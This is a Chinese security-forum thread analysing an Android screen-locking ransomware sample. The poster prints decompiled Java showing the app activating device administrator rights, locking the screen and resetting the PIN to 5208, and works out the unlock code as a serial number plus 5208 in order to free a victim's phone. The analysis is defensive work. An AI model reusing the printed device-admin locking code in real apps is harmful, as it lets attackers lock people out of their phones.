吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 9924|回复: 9
收起左侧

[移动样本分析] 坛友中招的小程序来练练手

  [复制链接]
云在天 发表于 2016-12-23 23:39
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 云在天 于 2016-12-23 23:41 编辑

今天逛逛论坛,发现有坛友手机被锁,下载样本,没有加壳样本地址:http://www.52pojie.cn/thread-567241-1-1.html

拖入AndroidKiller


QQ截图20161223230638.jpg

找到入口包,用jd-gui打开


[Java] 纯文本查看 复制代码
package com.h;

import LogCatBroadcaster;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;

public class M
  extends Activity
{
  private void activiteDevice()//激活设备管理器
  {
    Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    try
    {
      Class localClass = Class.forName("com.h.MyAdmin"); //准备改PIN码了
      localIntent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, localClass));
      startActivityForResult(localIntent, 0);
      return;
    }
    catch (ClassNotFoundException localClassNotFoundException)
    {
      throw new NoClassDefFoundError(localClassNotFoundException.getMessage());
    }
  }
  
  @Override
  public void onCreate(Bundle paramBundle)
  {
    LogCatBroadcaster.start(this);
    super.onCreate(paramBundle);
    activiteDevice();
  }
}


跳到MyAdmin这个包

[Java] 纯文本查看 复制代码
public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
  {
    String str = Integer.toString(5208);//5208就是pin码了
    getManager(paramContext).lockNow();
    getManager(paramContext).resetPassword(str, 0);
    return super.onDisableRequested(paramContext, paramIntent);
  }
  
  @Override
  public void onEnabled(Context paramContext, Intent paramIntent)
  {
    String str = Integer.toString(5208);
    try
    {
      Object localObject = Class.forName("com.h.s");
      localObject = new Intent(paramContext, (Class)localObject);
      ((Intent)localObject).setFlags(268435456);
      paramContext.startService((Intent)localObject);
      getManager(paramContext).resetPassword(str, 0);
      super.onEnabled(paramContext, paramIntent);
      return;
    }
    catch (ClassNotFoundException paramContext)
    {
      throw new NoClassDefFoundError(paramContext.getMessage());
    }
  }
  


我们继续找锁屏密码

[Java] 纯文本查看 复制代码
try {
            v11 = Class.forName("com.h.s");
        }


在这个包里找到关键词类似什么pass之类的

[Java] 纯文本查看 复制代码
super.onCreate();
    this.pass = ((Math.random() * 100000000));//序列号
    this.passw = new Long((this.pass + 5208) * 1);//序列号+5208*1
    this.des = new DU("flower");


看到了锁屏密码是序列号+5208

然后就可以开锁了,进去之后一定要先把设备管理器里的这个给移除。
附上一段移植过来的算法
[Java] 纯文本查看 复制代码
public class unpacked {
    public static void main(String []args) {
	long pass;
	Long passw;
		pass = 76055514;//序列号
        passw = new Long((pass + (((long)5208))) * (((long)1)));
		System.out.println(passw);
    }
}


放到调试器里运行就算出密码来了

PS:有点多次一举,其实第一次调试的时候那个5208在JD-GUI里显示?我又换到了JEB里才看到。。








免费评分

参与人数 6威望 +1 吾爱币 +3 热心值 +6 收起 理由
siuhoapdou + 1 + 1 热心回复!
zuis + 1 + 1 热心回复!
m13414907 + 1 + 1 热心回复!
Hmily + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
BayBear + 1 厉害了,我的哥
Chlrun + 1 厉害,又热心~果断加分!!!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

guoxue332 发表于 2016-12-23 23:48
路过,看不懂。。
 楼主| 云在天 发表于 2016-12-23 23:50
繁华落幕 发表于 2016-12-24 01:14
看了下代码,完全就是用AIDE然后满大街找的一个锁机源码改一下Pin和序列号算法就发出来的...
czc476 发表于 2016-12-24 01:34
现在新出的都是加密算法了,不好解了
 楼主| 云在天 发表于 2016-12-24 01:57 来自手机
繁华落幕 发表于 2016-12-24 01:14
看了下代码,完全就是用AIDE然后满大街找的一个锁机源码改一下Pin和序列号算法就发出来的...

没错,话说Aide就是个神器啊
头像被屏蔽
Gear 发表于 2016-12-27 00:27
提示: 作者被禁止或删除 内容自动屏蔽
zuis 发表于 2017-3-2 22:43
要支持!!!{:1_912:}
内心xi 发表于 2017-4-7 13:05
xiexie 666666666
坏灰灰 发表于 2017-12-6 22:03
算是幸运的,没有加密算法
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 05:29

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表